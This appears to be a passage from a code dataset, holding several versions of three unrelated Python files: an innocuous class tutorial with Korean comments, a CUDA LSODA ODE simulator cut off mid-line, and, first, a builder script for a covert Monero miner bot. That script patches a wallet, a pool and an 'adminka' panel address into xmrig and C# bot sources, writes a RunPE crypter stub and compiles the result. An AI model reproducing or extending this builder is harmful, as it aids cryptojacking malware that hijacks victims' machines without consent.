'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n" ]
false
9,939
babb5ac680c74e19db5c86c2c3323e8285d169ff
class MyClass: name = "alice" def set_name(self, name): self.name = name def get_name(self): return self.name def say_hello(self): self.greet = "Hello" def say_hi(self): print("HI~~~~~") p1 = MyClass() p2 = MyClass() print(p1.name) p1.set_name("bob") print(p1.name) print(p2.name) # 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다 p1.say_hello() print(p1.greet) #클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다 MyClass.say_hi("gg")
[ "class MyClass:\n name = \"alice\"\n \n def set_name(self, name):\n self.name = name\n \n def get_name(self):\n return self.name\n \n def say_hello(self):\n self.greet = \"Hello\"\n \n def say_hi(self):\n print(\"HI~~~~~\")\n \n\n\np1 = MyClass()\np2 = MyClass()\n\nprint(p1.name)\np1.set_name(\"bob\")\nprint(p1.name)\n\nprint(p2.name)\n\n# 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다\np1.say_hello()\nprint(p1.greet)\n\n#클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다 \nMyClass.say_hi(\"gg\")\n\n", "class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\np1 = MyClass()\np2 = MyClass()\nprint(p1.name)\np1.set_name('bob')\nprint(p1.name)\nprint(p2.name)\np1.say_hello()\nprint(p1.greet)\nMyClass.say_hi('gg')\n", "class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\nprint(p1.name)\np1.set_name('bob')\nprint(p1.name)\nprint(p2.name)\np1.say_hello()\nprint(p1.greet)\nMyClass.say_hi('gg')\n", "class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\n<code token>\n", "class MyClass:\n <assignment token>\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\n<code token>\n", "class MyClass:\n <assignment token>\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n", "class MyClass:\n <assignment token>\n <function token>\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n", "class MyClass:\n <assignment token>\n <function token>\n <function token>\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n", "class MyClass:\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n", "<class token>\n<assignment token>\n<code token>\n" ]
false
9,940
e9754530bef7614c16cdba0e818c1fa188e2d9a2
import os import numpy as np import pycuda import pycuda.driver as driver import cudasim.solvers.cuda.Simulator_mg as sim import cudasim class Lsoda(sim.SimulatorMG): _param_tex = None _step_code = None _runtimeCompile = True _lsoda_source_ = """ extern "C"{ #include <stdio.h> __device__ myFex myfex; __device__ myJex myjex; __global__ void init_common(){ int tid = blockDim.x * blockIdx.x + threadIdx.x; cuLsodaCommonBlockInit( &(common[tid]) ); } __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, double *rtol, double *atol, int *itask, int *istate, int *iopt, double *rwork, int *lrw, int *iwork, int *liw, int *jt) { int tid = blockDim.x * blockIdx.x + threadIdx.x; //if(tid==0){ //printf("I am thread time %d %f\\n", tid, t[0] ); //} dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) ); //if(tid==0){ //printf("I am done %d %f\\n", tid, t[0] ); //} } } """ def _compile(self, step_code): # set beta to 1: repeats are pointless as simulation is deterministic self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = "#define ISIZE " + repr(20 + self._speciesNumber) + "\n" _rsize_ = "#define RSIZE " + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + "\n" _textures_ = "texture<float, 2, cudaReadModeElementType> param_tex;\n" _common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(1 * 1) + "];\n" _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_ if self._dump: of = open("full_ode_code.cu", "w") print >> of, _code_ # dummy compile to determine optimal blockSize and gridSize compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function("cuLsoda")) blocks = self._MAXBLOCKSPERDEVICE # real compile _common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(blocks * threads) + "];\n" _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_ if self._dump: of = open("full_ode_code.cu", "w") print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref("param_tex") lsoda_kernel = compiled.get_function("cuLsoda") return compiled, lsoda_kernel def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6): total_threads = threads * blocks experiments = len(parameters) neqn = self._speciesNumber # compile init_common_kernel = self._completeCode.get_function("init_common") init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1)) # output array ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber]) ret_istate = np.ones([total_threads], dtype=np.int32) # calculate sizes of work spaces isize = 20 + self._speciesNumber rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9) # local variables t = np.zeros([total_threads], dtype=np.float64) jt = np.zeros([total_threads], dtype=np.int32) neq = np.zeros([total_threads], dtype=np.int32) itol = np.zeros([total_threads], dtype=np.int32) iopt = np.zeros([total_threads], dtype=np.int32) rtol = np.zeros([total_threads], dtype=np.float64) iout = np.zeros([total_threads], dtype=np.int32) tout = np.zeros([total_threads], dtype=np.float64) itask = np.zeros([total_threads], dtype=np.int32) istate = np.zeros([total_threads], dtype=np.int32) atol = np.zeros([total_threads], dtype=np.float64) liw = np.zeros([total_threads], dtype=np.int32) lrw = np.zeros([total_threads], dtype=np.int32) iwork = np.zeros([isize * total_threads], dtype=np.int32) rwork = np.zeros([rsize * total_threads], dtype=np.float64) y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64) for i in range(total_threads): neq[i] = neqn t[i] = 0 itol[i] = 1 itask[i] = 1 istate[i] = 1 iopt[i] = 0 jt[i] = 2 atol[i] = in_atol rtol[i] = in_rtol liw[i] = isize lrw[i] = rsize try: # initial conditions for j in range(self._speciesNumber): # loop over species y[i * self._speciesNumber + j] = init_values[i][j] ret_xt[i, 0, 0, j] = init_values[i][j] except IndexError: pass # allocate on device d_t = driver.mem_alloc(t.size * t.dtype.itemsize) d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize) d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize) d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize) d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize) d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize) d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize) d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize) d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize) d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize) d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize) d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize) d_y = driver.mem_alloc(y.size * y.dtype.itemsize) d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize) d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize) d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize) # copy to device driver.memcpy_htod(d_t, t) driver.memcpy_htod(d_jt, jt) driver.memcpy_htod(d_neq, neq) driver.memcpy_htod(d_liw, liw) driver.memcpy_htod(d_lrw, lrw) driver.memcpy_htod(d_itol, itol) driver.memcpy_htod(d_iopt, iopt) driver.memcpy_htod(d_rtol, rtol) driver.memcpy_htod(d_iout, iout) driver.memcpy_htod(d_tout, tout) driver.memcpy_htod(d_itask, itask) driver.memcpy_htod(d_istate, istate) driver.memcpy_htod(d_y, y) driver.memcpy_htod(d_atol, atol) driver.memcpy_htod(d_iwork, iwork) driver.memcpy_htod(d_rwork, rwork) param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32) try: for i in range(len(parameters)): for j in range(self._parameterNumber): param[i][j] = parameters[i][j] except IndexError: pass # parameter texture ary = sim.create_2D_array(param) sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads) self._param_tex.set_array(ary) if self._dt <= 0: for i in range(self._resultNumber): for j in range(total_threads): tout[j] = self._timepoints[i] driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 # end of loop over time points else: tt = self._timepoints[0] for i in range(self._resultNumber): while 1: next_time = min(tt + self._dt, self._timepoints[i]) for j in range(total_threads): tout[j] = next_time driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) if np.abs(next_time - self._timepoints[i]) < 1e-5: tt = next_time break tt = next_time for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 # loop over and check ret_istate # it will will be zero if there was problems for j in range(total_threads): if ret_istate[j] == 0: for i in range(self._resultNumber): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = float('NaN') return ret_xt[0:experiments]
[ "import os\n\nimport numpy as np\nimport pycuda\nimport pycuda.driver as driver\n\nimport cudasim.solvers.cuda.Simulator_mg as sim\nimport cudasim\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n\n _step_code = None\n _runtimeCompile = True\n\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n # set beta to 1: repeats are pointless as simulation is deterministic\n self._beta = 1\n\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r')\n\n _sourceFromFile_ = fc.read()\n\n _isize_ = \"#define ISIZE \" + repr(20 + self._speciesNumber) + \"\\n\"\n _rsize_ = \"#define RSIZE \" + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + \"\\n\"\n\n _textures_ = \"texture<float, 2, cudaReadModeElementType> param_tex;\\n\"\n _common_block_ = \"__device__ struct cuLsodaCommonBlock common[\" + repr(1 * 1) + \"];\\n\"\n _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_\n\n if self._dump:\n of = open(\"full_ode_code.cu\", \"w\")\n print >> of, _code_\n\n # dummy compile to determine optimal blockSize and gridSize\n compiled = pycuda.compiler.SourceModule(_code_, nvcc=\"nvcc\", options=[], no_extern_c=True, keep=False)\n\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\"cuLsoda\"))\n blocks = self._MAXBLOCKSPERDEVICE\n\n # real compile\n _common_block_ = \"__device__ struct cuLsodaCommonBlock common[\" + repr(blocks * threads) + \"];\\n\"\n _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_\n\n if self._dump:\n of = open(\"full_ode_code.cu\", \"w\")\n print >> of, _code_\n\n compiled = pycuda.compiler.SourceModule(_code_, nvcc=\"nvcc\", options=[], no_extern_c=True, keep=False)\n\n self._param_tex = compiled.get_texref(\"param_tex\")\n\n lsoda_kernel = compiled.get_function(\"cuLsoda\")\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6):\n\n total_threads = threads * blocks\n experiments = len(parameters)\n\n neqn = self._speciesNumber\n\n # compile\n init_common_kernel = self._completeCode.get_function(\"init_common\")\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n\n # output array\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n\n # calculate sizes of work spaces\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n\n # local variables\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n\n liw[i] = isize\n lrw[i] = rsize\n\n try:\n # initial conditions\n for j in range(self._speciesNumber):\n # loop over species\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n\n # allocate on device\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n\n # copy to device\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n\n # parameter texture\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads)\n self._param_tex.set_array(ary)\n\n if self._dt <= 0:\n for i in range(self._resultNumber):\n\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,\n d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n\n if istate[j] < 0:\n ret_istate[j] = 0\n\n # end of loop over time points\n\n else:\n tt = self._timepoints[0]\n\n for i in range(self._resultNumber):\n while 1:\n\n next_time = min(tt + self._dt, self._timepoints[i])\n\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,\n d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n\n if np.abs(next_time - self._timepoints[i]) < 1e-5:\n tt = next_time\n break\n\n tt = next_time\n\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n\n if istate[j] < 0:\n ret_istate[j] = 0\n\n # loop over and check ret_istate\n # it will will be zero if there was problems\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n\n return ret_xt[0:experiments]\n", "import os\nimport numpy as np\nimport pycuda\nimport pycuda.driver as driver\nimport cudasim.solvers.cuda.Simulator_mg as sim\nimport cudasim\n\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n _step_code = None\n _runtimeCompile = True\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 